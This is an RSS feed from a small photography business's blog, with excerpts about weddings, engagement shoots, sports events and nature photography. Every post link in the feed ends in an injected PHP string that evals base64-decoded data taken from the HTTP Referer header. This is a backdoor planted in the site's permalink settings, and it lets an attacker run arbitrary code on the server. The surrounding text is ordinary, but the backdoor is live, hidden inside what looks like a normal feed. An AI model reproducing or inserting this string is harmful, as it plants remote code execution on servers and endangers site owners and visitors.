http://www.bradywhealonphotography.com Brady Whealon Photography is the source for outstanding freelance Wedding, Commercial, and Sports Photography. Wed, 22 Apr 2009 19:39:32 +0000 http://backend.userland.com/rss092 en Hey Everyone! I had a pretty amazing double wedding weekend and I wanted to share some more of the photos from my Friday Wedding with my fans and of course the lovely bride and groom. Remember Comments and sharing are very much encouraged. http://www.bradywhealonphotography.com/2009/04/22/horton-wedding-4-17-09/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ This engagement session was another first for Brady Whealon Photography. Tyler contacted me a few weeks prior to their engagement to see if I was available to take some photos the day after he popped the question. We managed to work out the details and we could not have ... http://www.bradywhealonphotography.com/2009/03/07/engagement-photos-in-st-paul-minnesota/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ There is something refreshing about a wedding with only 15 people there including the Photographer and his assistant... These are some photos from my very first Thursday wedding ever. It was very laid back and "go with the flow". As a photographer we are sometimes asked to do ... http://www.bradywhealonphotography.com/2009/03/07/latest-wedding-photos-3-5-09/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ I went for a quick photo adventure with my friends Paul and Mike on 1-7-09 to Alma MN. Our goal was to find and photograph some of the most beautiful creatures in our country, The Bald Eagle. These extremely intelligent birds are a little bit skiddish unless you ... http://www.bradywhealonphotography.com/2009/01/11/eagles-in-alma/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ This last weekend was one of my favorite weddings to date! They were a fantastic couple to work with not only because their affection and love for each other was so clear but their willingness to try just about anything I asked. They really gave me some creative ... http://www.bradywhealonphotography.com/2008/10/22/10-18-08-jason-and-natalie/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ My business has been going through a lot of changes lately, not in the services we provide, changes to our creative vision have helped shape our identity in the photographic community. Years ago most of the photographs I took were poses I had seen used in wedding photos before and ... http://www.bradywhealonphotography.com/2008/10/20/engagement-photos-ann-and-mark/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ I am proud to announce that the candid photos from the Winona Health Birthday Ball are now live online and available for purchase. Please click on the purchase tab at the top of this web page and navigate to the gallery Titled "Birthday Ball 2008". I am really ... http://www.bradywhealonphotography.com/2008/09/24/winona-health-birthday-ball-2008/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Sorry it has been so long since an update but my time has been well spent. I decided to invest in some new gear and most of my summer I have been working on honing my skills and mastering what I already know. There are going to be ... http://www.bradywhealonphotography.com/2008/08/16/senior-portraits-in-winona-mn/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ I spent a total of 8+ hours at the local rugby tournament on 3-29-08 of this year. The blistering cold wind masked the suns rays and I ended up with a spectacular cocktail of windburn and sunburn. All in all it was worth it because the photos turned ... http://www.bradywhealonphotography.com/2008/04/02/rugby-fools-fest-2008-winona-mn/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Lately I have been looking through my archives a lot for inspiration to try and get back to my roots. I have always enjoyed the challenges that working for Winona State provides but some of the projects I have to complete are not as fulfilling as my own ... http://www.bradywhealonphotography.com/2008/03/13/architecture-photography-dream-homes/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ This photograph is not your normal run of the mill picture of the inside of a Church. Following in Shutter Scripts footsteps I decided to broaden my horizons and challenge myself again. This image is a series of 6 HDR images that have been stitched together to form ... http://www.bradywhealonphotography.com/2008/03/09/cathedral-of-the-sacred-heart-winona-mn/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ One recent assignment from Winona State put me and my new assistant in harms way as we attempted to photograph students playing on the racquetball courts during class time. Initially the instructor had us above in an observatory style overlook where the instructor could give feedback and watch from ... http://www.bradywhealonphotography.com/2008/03/08/270/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ As promised here is another wedding gallery to share with friends and family. I had a lovely time with Erica and Josh and want to thank them again for their hospitality. Best wishes in the future!Thankfully spring break has been a blessing in the sense that it has ... http://www.bradywhealonphotography.com/2008/03/07/erica-and-joshua-guyse-wedding-gallery/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ I am proud to present our video submission to the Apple Insomnia Film Festival 2007. My friends Timmy Johnson, Steven Frank, and Jef Clements roped me into participating in this ridiculous challenge. For those of you that don't know what it is all about; The challenge is to ... http://www.bradywhealonphotography.com/2008/03/06/fragments-apple-insomnia-film-festival-2007/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Kai Has been a friend of mine for the last few years. We actually took a photography class together here at Winona State. I really love how much fun these two have together and they are certainly much more natural when they aren't being told how to pose. ... http://www.bradywhealonphotography.com/2008/03/02/kai-and-sheena-engagement/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Starting this week I am going to try and start covering more events for the High School athletic teams in the area. On the 23rd I had the chance to cover the Varsity game for WSHS Winhawks. To thank the teams for letting me come and photograph them ... http://www.bradywhealonphotography.com/2008/02/25/wshs-varsity-basketball-1-23-08/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Dancescape 2008 was a great success. The dancers and instructors did a wonderful job of getting everything coordinated for opening night. I was lucky enough to have the opportunity to come in and photograph one of the dress rehearsals so that the photos could be used for ... http://www.bradywhealonphotography.com/2008/02/25/dancescape-2008/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ In looking through my older photos from years past I realized that I need to find a goal for my work. So much of what I do has been personal work up until mid-2007. After that time almost all of my photographs had been centered around work or ... http://www.bradywhealonphotography.com/2008/02/13/photo-book-ideas-revisited-again/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ With everything going on in my life right now it is hard to answer open ended questions like: "What are you going to do over summer vacation?", The fact of the matter is I don't have the foggiest idea yet. What I mean is I am planning on one ... http://www.bradywhealonphotography.com/2008/02/10/plans-for-summer-revitalization/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ The last few weeks of my life have given me a chance to really reflect on what I am trying to accomplish in life. I had a few close calls including a car crash and a few falls on the ice. Some people might be frustrated with their ... http://www.bradywhealonphotography.com/2008/02/09/life-is-always-worth-living/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/